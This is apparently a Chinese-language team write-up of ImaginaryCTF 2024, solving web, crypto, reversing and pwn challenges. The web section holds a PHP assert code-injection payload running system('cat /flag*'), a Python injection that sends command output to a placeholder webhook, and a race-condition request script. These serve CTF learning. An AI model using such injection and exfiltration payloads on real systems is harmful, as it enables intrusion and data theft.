5985 字
30 分鐘
2024 Imaginary CTF Write Up by ICEDTEA

2024 Imaginary CTF Write Up by ICEDTEA#

2024ictf_scoreboard

WEB#

readme#

  • solver Elliot_404

https://cybersharing.net/s/67af3fd941707117

按下Load Preview
readme_0 接著打開開發者工具,找到對應的請求
readme_1 把要求網址的後面的readme.tar.gz改成flag.txt即可拿到檔案
readme_2 https://cybersharing.net/api/download/file/7a829a2b-4674-471a-9875-02691f5ce6c5/703dc4c6-7b06-4813-874a-857fc1ea4098/7aeb7c98-9bf5-44b3-9eb3-972f225a3576/flag.txt
但打開會發現這實際上不是.txt檔,所以先丟進Linux裡面查看檔案類型

wget https://cybersharing.net/api/download/file/7a829a2b-4674-471a-9875-02691f5ce6c5/703dc4c6-7b06-4813-874a-857fc1ea4098/7aeb7c98-9bf5-44b3-9eb3-972f225a3576/flag.txt
file flag.txt

發現是gzip檔,解壓縮它並繼續查看檔案類型

mv flag.txt flag.gz
gzip -d flag.gz
file flag

發現是tar壓縮檔,解壓縮它

tar -xvf flag

在解壓縮出來的檔案中有一個名為flag的檔案,查看它的內容

cat flag | grep ictf

報錯了,終端回應grep: (standard input): binary file matches,於是加上-a選項,這會強制 grep 處理二進制文件為文本

cat flag | grep -a ictf

flag:ictf{path_normalization_to_the_rescue}

journal#

  • solver Whale120 index.php
<?php

echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";

if (isset($_GET['file'])) {
  $file = $_GET['file'];
  $filepath = './files/' . $file;

  assert("strpos('$file', '..') === false") or die("Invalid file!");

  if (file_exists($filepath)) {
    include($filepath);
  } else {
    echo 'File not found!';
  }
}

echo "</p>";

這是php-7的環境,assert("strpos('$file', '..') === false")中帶來了php code injection的弱點。
payload:?file=%27.system("cat%20/flag*").%27

The Amazing Race#

  • solver Whale120 一個走迷宮的遊戲,快速code review就可以發現終點周圍永遠會有障礙物,不過有感覺到race condition的洞,所以可以用類似底下的腳本(用threadings加速)刷到右下角拿flag
    amazing_race_0
import threading
import requests

url = 'http://the-amazing-race.chal.imaginaryctf.org/move'

params = {
    'id': 'f09c7723-d4a5-4b84-9faf-69d6197807b0',
    'move': 'down'
}


def send_request():
    response = requests.post(url, params=params)
    print(response.text)

num_threads = 50  

threads = []

for i in range(num_threads):
    thread = threading.Thread(target=send_request)
    thread.start()
    threads.append(thread)

for thread in threads:
    thread.join()

print("All requests completed.")

P2C#

  • solver legend_yang 查看原始碼後,發現可以直接塞py code,就拿之前寫的送了
urllib=__import__('urllib.request', fromlist=['Request', 'urlopen']);subprocess = __import__('subprocess');awab=subprocess.run(['cat', 'flag.txt'], capture_output=True, text=True);url="<webhook uri here>"+awab.stdout;urllib.urlopen(url);return"Hello, World!"

Crystals#

  • solver legend_yang 查看原始碼後發現flag好像和sinatra框架比較有關,在本地開了一個沒有nginx proxy過的server。
    亂塞一堆字元後發現sinatra在400 bad requests的時候會返回hostname值,而這次的flag就放在hostname裡面。
    http://crystals.chal.imaginaryctf.org/{]};:'",<.>/?~𝘈Ḇ𝖢𝕯٤ḞԍНǏ𝙅ƘԸⲘ𝙉০Ρ𝗤Ɍ𝓢ȚЦ𝒱Ѡ𝓧ƳȤѧᖯć𝗱ễ𝑓𝙜Ⴙ𝞲𝑗𝒌ļṃʼnо𝞎𝒒ᵲꜱ𝙩ừ𝗏ŵ𝒙𝒚ź1234567890!@#$%^&*()-_=+[{]};:'",<.>/?~АḂⲤ𝗗𝖤𝗙ꞠꓧȊ𝐉𝜥ꓡ𝑀𝑵Ǭ𝙿𝑄Ŗ𝑆𝒯𝖴𝘝𝘞ꓫŸ𝜡ả𝘢ƀ𝖼ḋếᵮℊ𝙝Ꭵ𝕛кιṃդⱺ𝓅𝘲𝕣𝖘ŧ𝑢ṽẉ𝘅ყž1234567890!@#$%^&*()-_=+[{]};:'",<.>/?~Ѧ𝙱ƇᗞΣℱԍҤ١𝔍К𝓛𝓜ƝȎ𝚸𝑄Ṛ𝓢ṮṺƲᏔꓫ𝚈𝚭𝜶Ꮟçძ𝑒𝖿𝗀ḧ𝗂𝐣ҝɭḿ𝕟𝐨𝝔𝕢ṛ𝓼тú𝔳ẃ⤬𝝲𝗓1234567890!@#$%^&*()-_=+[{]};:'",<.>/?~𝖠Β𝒞𝘋𝙴小熊𝓕ĢȞỈ𝕵ꓗʟ𝙼ℕ০𝚸𝗤ՀꓢṰǓⅤ𝔚Ⲭ𝑌𝙕𝘢𝕤

CRYPTO#

base64#

  • solver yucheng2663

main.py

from Crypto.Util.number import bytes_to_long

q = 64

flag = open("flag.txt", "rb").read()
flag_int = bytes_to_long(flag)

secret_key = []
while flag_int:
    secret_key.append(flag_int % q)
    flag_int //= q

print(f"{secret_key = }")

這題直接丟給GPT解釋流程,他會講一大堆東西給你,但其實重點就是最後面有提到產生的 secret_key 清單可以用來還原原始數據
所以基本上可以直接把題目的out.txt丟給GPT去幫你寫出反推密文的程式碼

exp.py

from Crypto.Util.number import long_to_bytes

# 假设 secret_key 和 q 已经定义
secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]

q = 64

# 初始化反推的长整数
reconstructed_int = 0

# 遍历 secret_key 列表并按基数 q 重新组合成一个长整数
for i in range(len(secret_key)-1, -1, -1):
    reconstructed_int = reconstructed_int * q + secret_key[i]

# 将长整数转换回字节序列
original_flag = long_to_bytes(reconstructed_int)

print(f"{original_flag = }")

integrity#

  • solver Whale120 chal.py
from Crypto.Util.number import *
from binascii import crc_hqx

p = getPrime(1024)
q = getPrime(1024)

n = p*q
e = 65537
tot = (p-1)*(q-1)
d = pow(e, -1, tot)

flag = bytes_to_long(open("flag.txt", "rb").read())
ct = pow(flag, e, n)

#signature = pow(flag, d, n) # no, im not gonna do that
signature = pow(flag, crc_hqx(long_to_bytes(d), 42), n)

print(f"{n = }")
print(f"{ct = }")
print(f"{signature = }")

其中,crc_hqx會回傳一個 16 bits的簽名,所以整題就會變成一個共模攻擊(link)的題目。

exp.py

from Crypto.Util.number import *
import math
from tqdm import trange
n = 10564138776494961592014999649037456550575382342808603854749436027195501416732462075688995673939606183123561300630136824493064895936898026009104455605012656112227514866064565891419378050994219942479391748895230609700734689313646635542548646360048189895973084184133523557171393285803689091414097848899969143402526024074373298517865298596472709363144493360685098579242747286374667924925824418993057439374115204031395552316508548814416927671149296240291698782267318342722947218349127747750102113632548814928601458613079803549610741586798881477552743114563683288557678332273321812700473448697037721641398720563971130513427
ct = 5685838967285159794461558605064371935808577614537313517284872621759307511347345423871842021807700909863051421914284950799996213898176050217224786145143140975344971261417973880450295037249939267766501584938352751867637557804915469126317036843468486184370942095487311164578774645833237405496719950503828620690989386907444502047313980230616203027489995981547158652987398852111476068995568458186611338656551345081778531948372680570310816660042320141526741353831184185543912246698661338162113076490444675190068440073174561918199812094602565237320537343578057719268260605714741395310334777911253328561527664394607785811735
signature = 1275844821761484983821340844185575393419792337993640612766980471786977428905226540853335720384123385452029977656072418163973282187758615881752669563780394774633730989087558776171213164303749873793794423254467399925071664163215290516803252776553092090878851242467651143197066297392861056333834850421091466941338571527809879833005764896187139966615733057849199417410243212949781433565368562991243818187206912462908282367755241374542822443478131348101833178421826523712810049110209083887706516764828471192354631913614281317137232427617291828563280573927573115346417103439835614082100305586578385614623425362545483289428
e=65537

def common_module_attack(x1, x2):
    pad=inverse(x1, x2)
    assert x1*pad % x2 ==1
    val=(pow(ct, pad, n)*pow(signature, -(x1*pad//x2), n))%n
    return long_to_bytes(val)

for i in trange(2, 65536):
    if b'ictf' in common_module_attack(e, i):
        print(common_module_attack(e, i))

REVERSING#

unoriginal#

  • solver Whale120 xor, key是5
    unoriginal_0

RUST#

  • solver Whale120 一個加密程式,要還原密鑰跟找到與密文對應ㄉ明文
    (其實我沒有真的做很深入的逆向),主要觀察兩點:
  1. 是逐字加密
  2. key的大小跟輸出的大些成高度正相關 最後就手動二分搜湊出key …(以flag第一個字元i為樣本)

rust_0

rust_1

rust_2

bf#

  • solver hokak 題目給你一段brainfuck的code
,>>+++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<++++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++[<+++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<----------------------------------------------------------------------------------[><],>>+++++++++++[<+++++>-]<[-<+>]<---------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<+++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<+++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<+++++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<+++++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<++++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<---------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++++++[<++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++++++[<+++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++[<+++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------[><]

然後稍微學一下brainfuck,發現他可以用工具轉成C語言

然後我看到這堆東西,看起來就超容易進入無窮迴圈
bf

但仔細觀察後,會得知每段迴圈都長得差不多
可以把

while (tape[ptr] != 0)
{
    ptr -= 1;
    tape[ptr] += 3;
    ptr += 1;
    tape[ptr] -= 1;
}

換成

tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;

以此類推其他數字

還有

while (tape[ptr] != 0)
{
    ptr += 1;
    ptr -= 1;
}

的功能是如果不為0就會進入無窮迴圈
那如果把這段改成直接強制退出程式就輕鬆多了

if (tape[ptr] != 0)
    return 0;

改完的code

/* This is a translation of a.bf, generated by bftoc.py (by Paul Kaefer)
 * It was generated on Sunday, July 21, 2024 at 10:49PM
 */

#include <stdio.h>

int main(void)
{
    int size = 1000;
    unsigned tape[1000];
    int i = 0;

    /* Clearing the tape (array) */
    for (i=0; i<size; i++)
        tape[i] = 0;

    int ptr = 0;

    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 11;
    tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    printf("%d %d %d", tape[0], tape[1], tape[2]);
    ptr -= 1;
    tape[ptr] -= 138;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 10;
    tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 169;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 11;
    tape[ptr - 1] += tape[ptr] * 4, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 160;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 10;
    tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 172;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 17;
    tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 174;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 8;
    tape[ptr - 1] += tape[ptr] * 8, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 113;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 13;
    tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 160;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 11;
    tape[ptr - 1] += tape[ptr] * 4, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 148;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 6;
    tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 82;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 11;
    tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 171;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 9;
    tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 114;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 11;
    tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 128;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 17;
    tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 102;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 11;
    tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 170;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 8;
    tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 104;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 6;
    tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 138;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 8;
    tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 108;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 9;
    tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 173;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 6;
    tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 133;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 9;
    tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 98;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 10;
    tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 145;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 10;
    tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 125;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 10;
    tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 170;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 10;
    tape[ptr - 1] += tape[ptr] * 6, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 112;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 17;
    tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 153;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 11;
    tape[ptr - 1] += tape[ptr] * 4, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 95;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 23;
    tape[ptr - 1] += tape[ptr] * 2, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 143;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 23;
    tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 118;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 19;
    tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 155;
    if (tape[ptr] != 0)
    return 0;
    tape[ptr] = getchar();
    ptr += 2;
    tape[ptr] += 6;
    tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
    ptr -= 1;
    tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
    ptr -= 1;
    tape[ptr] -= 155;
    if (tape[ptr] != 0)
    return 0;
    printf("hello");
}

編譯後用angr去解(不要問我怎麼寫,我用抄能力)

import angr
import sys
p = angr.Project('./a', auto_load_libs=False) #./a是剛剛的程式編譯後
initial_state = p.factory.entry_state()
simulation = p.factory.simgr(initial_state)
simulation.explore(find= lambda s: b"hello" in s.posix.dumps(1))

if simulation.found:
    solution_state = simulation.found[0]
    sol = solution_state.posix.dumps(sys.stdin.fileno())
    print(f"[+] Success! Solution is: {sol}")
else:
    print("target not found")

bf_1

unconditional#

  • solver hokak unconditional_0
    然後他給我們一個執行檔,decompile之後大概長這樣(小小的改過)

#include "defs.h"



long long iterate(int a1); // idb
int  main(int argc, const char **argv, const char **envp);
char flag[18] = "nothing_here_lmao"; // weak
_BYTE table1[6] = { 82, 100, 113, 81, 84, 118 }; // weak
_BYTE table2[6] = { 1, 3, 4, 2, 6, 5 }; // weak
char completed_0; // weak
int counter1; // weak
int counter2; // weak


//----- (0000000000001149) ----------------------------------------------------
long long iterate(int a1)
{
  bool v1; // al
  unsigned __int8 v3; // [rsp+19h] [rbp-7h]
  bool v4; // [rsp+1Eh] [rbp-2h]

  v3 = flag[a1];
  v4 = (a1 & 1) != 0;
  v1 = v3 > 0x60u && v3 <= 0x7Au;
  flag[a1] = ((((int)v3 >> table2[counter2]) | (v3 << (8 - table2[counter2]))) * v1
            + !v1 * (((v3 << 6) | (v3 >> 2)) ^ table1[counter1]))
           * ((a1 & 1) == 0)
           + ((v3 ^ table1[counter1]) * v1 + !v1 * ((4 * v3) | (v3 >> 6))) * ((a1 & 1) != 0);
  counter1 = (v4 + counter1) % 6;
  counter2 = (v4 + counter2) % 6;
  printf("%02x,", (unsigned __int8)flag[a1]);
  return (unsigned int)(a1 + 1);
}

//----- (0000000000001343) ----------------------------------------------------
int  main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v5; // eax
  int v6; // eax
  int v7; // eax
  int v8; // eax
  int v9; // eax
  int v10; // eax
  int v11; // eax
  int v12; // eax
  int v13; // eax
  int v14; // eax
  int v15; // eax
  int v16; // eax
  int v17; // eax
  int v18; // eax
  int v19; // eax
  int v20; // eax
  int v21; // eax
  int v22; // eax
  int v23; // eax
  int v24; // eax
  int v25; // eax
  int v26; // eax
  int v27; // eax
  int v28; // eax
  int v29; // eax
  int v30; // eax
  int v31; // eax
  int v32; // eax
  int v33; // eax
  int v34; // eax

  v3 = iterate(0);
  v4 = iterate(v3);
  v5 = iterate(v4);
  v6 = iterate(v5);
  v7 = iterate(v6);
  v8 = iterate(v7);
  v9 = iterate(v8);
  v10 = iterate(v9);
  v11 = iterate(v10);
  v12 = iterate(v11);
  v13 = iterate(v12);
  v14 = iterate(v13);
  v15 = iterate(v14);
  v16 = iterate(v15);
  v17 = iterate(v16);
  v18 = iterate(v17);
  v19 = iterate(v18);
  v20 = iterate(v19);
  v21 = iterate(v20);
  v22 = iterate(v21);
  v23 = iterate(v22);
  v24 = iterate(v23);
  v25 = iterate(v24);
  v26 = iterate(v25);
  v27 = iterate(v26);
  v28 = iterate(v27);
  v29 = iterate(v28);
  v30 = iterate(v29);
  v31 = iterate(v30);
  v32 = iterate(v31);
  v33 = iterate(v32);
  v34 = iterate(v33);
  iterate(v34);
  return 0;
}

然後把flag那邊的前五個字改成ictf{output的前五個字就會跟答案相同,利用這點可以做爆搜
我寫的爛code

#include "defs.h"
#include <stdio.h>
#include <string.h>
#include "edited.h"

int iterate(int a1); // idb
int main();

//-------------------------------------------------------------------------
// Data declarations

char flag[10000000]; // weak

_BYTE table1[6] = {82, 100, 113, 81, 84, 118}; // weak
_BYTE table2[6] = {1, 3, 4, 2, 6, 5};          // weak
int counter1 = 0;                              // weak
int counter2 = 0;                              // weak
unsigned char temp[33];

//----- (0000000000001149) ----------------------------------------------------
int iterate(int a1)
{
    int v3 = flag[a1];
    bool v4 = (a1 & 1) != 0;
    bool v1 = v3 > 0x60u && v3 <= 0x7Au;
    flag[a1] = ((((int)v3 >> table2[counter2]) | (v3 << (8 - table2[counter2]))) * v1 + !v1 * (((v3 << 6) | (v3 >> 2)) ^ table1[counter1])) * ((a1 & 1) == 0) + ((v3 ^ table1[counter1]) * v1 + !v1 * ((4 * v3) | (v3 >> 6))) * ((a1 & 1) != 0);
    counter1 = (v4 + counter1) % 6;
    counter2 = (v4 + counter2) % 6;
    return (unsigned char)flag[a1];
}

void it()
{
    for (int i = 0; i < 34; i++)
    {
        temp[i] = iterate(i);
    }
}

void clear_result() //初始化這些值,下一次的嘗試才會是正確的結果
{
    table1[0] = 82;
    table1[1] = 100;
    table1[2] = 113;
    table1[3] = 81;
    table1[4] = 84;
    table1[5] = 118;

    table2[0] = 1;
    table2[1] = 3;
    table2[2] = 4;
    table2[3] = 2;
    table2[4] = 6;
    table2[5] = 5;
    counter2 = 0;
    counter1 = 0;
}
//----- (0000000000001343) ----------------------------------------------------

int main()
{
    int ans[33] = {0xb4, 0x31, 0x8e, 0x02, 0xaf, 0x1c, 0x5d, 0x23, 0x98, 0x7d, 0xa3, 0x1e, 0xb0, 0x3c, 0xb3, 0xc4, 0xa6, 0x06, 0x58, 0x28, 0x19, 0x7d, 0xa3, 0xc0, 0x85, 0x31, 0x68, 0x0a, 0xbc, 0x03, 0x5d, 0x0b};
    char tempflag[33] = {0};
    for (int i = 0; i < 33; i++)
    {
        
        for (int j = ' '; j < 127; j++)
        {
            tempflag[i] = j;
            strcpy(flag, tempflag);
            clear_result();
            it();
            if (temp[i] == ans[i])
            {
                printf("%c", j);
            }
            
        }
        printf("\n");
        
    }
    return 0;
}

result:
unconditional_1

有些位置居然有兩個解(!?
但你可以透過猜測去猜出有分岔的字
ictf{m0r3_than_1_way5_t0_c0n7r0??
(後兩個個字元有點怪怪的,所以我放問號)

然後我把原本的chal的偽 c code
改成可以透過輸入來顯示輸出結果的 code

#include "defs.h"
#include <stdio.h>
#include <string.h>


long long iterate(int a1); // idb
int main(int argc, const char **argv, const char **envp);


char flag[34] = ""; // weak
_BYTE table1[6] = { 82, 100, 113, 81, 84, 118 }; // weak
_BYTE table2[6] = { 1, 3, 4, 2, 6, 5 }; // weak
char completed_0; // weak
int counter1; // weak
int counter2; // weak


long long iterate(int a1)
{
  bool v1; // al
  unsigned __int8 v3; // [rsp+19h] [rbp-7h]
  bool v4; // [rsp+1Eh] [rbp-2h]

  v3 = flag[a1];
  v4 = (a1 & 1) != 0;
  v1 = v3 > 0x60u && v3 <= 0x7Au;
  flag[a1] = ((((int)v3 >> table2[counter2]) | (v3 << (8 - table2[counter2]))) * v1
            + !v1 * (((v3 << 6) | (v3 >> 2)) ^ table1[counter1]))
           * ((a1 & 1) == 0)
           + ((v3 ^ table1[counter1]) * v1 + !v1 * ((4 * v3) | (v3 >> 6))) * ((a1 & 1) != 0);
  counter1 = (v4 + counter1) % 6;
  counter2 = (v4 + counter2) % 6;
  printf("%02x,", (unsigned __int8)flag[a1]);
  return (unsigned int)(a1 + 1);
}


//----- (0000000000001343) ----------------------------------------------------
int main(int argc, const char **argv, const char **envp)
{
    fgets(flag, sizeof(flag), stdin);
    for (int i = 0; i < 33; i++)
        iterate(i);
    return 0;
}

接下來猜最後兩個字,最後一個基本上可以確定是}
猜倒數第二個字是l,因為c0n7r0l很像control
unconditional_2
flag get!!

PWN#

  • solver hokak

imgstore#

程式一開始會給你三個選項
imgstore_0

其他兩個選項沒用,如果選3的話可以就可以進入一個有format string bug的function
可以先leak出rsp+8、rsp+
而這邊可以看到buf * 334873123 == dword_6050(這個值是0xfeedbeef)的判斷式
然後buf是隨機值
通過這個判斷式就可以成功進入一個會有bof的function
imgstore_1
而兩邊的數沒有倍數關係,所以我們不能只用單純的除法去算
必須利用算數溢位的技巧,可以把他想成(mod 0x100000000)
所以利用模反元素可以算出這個值

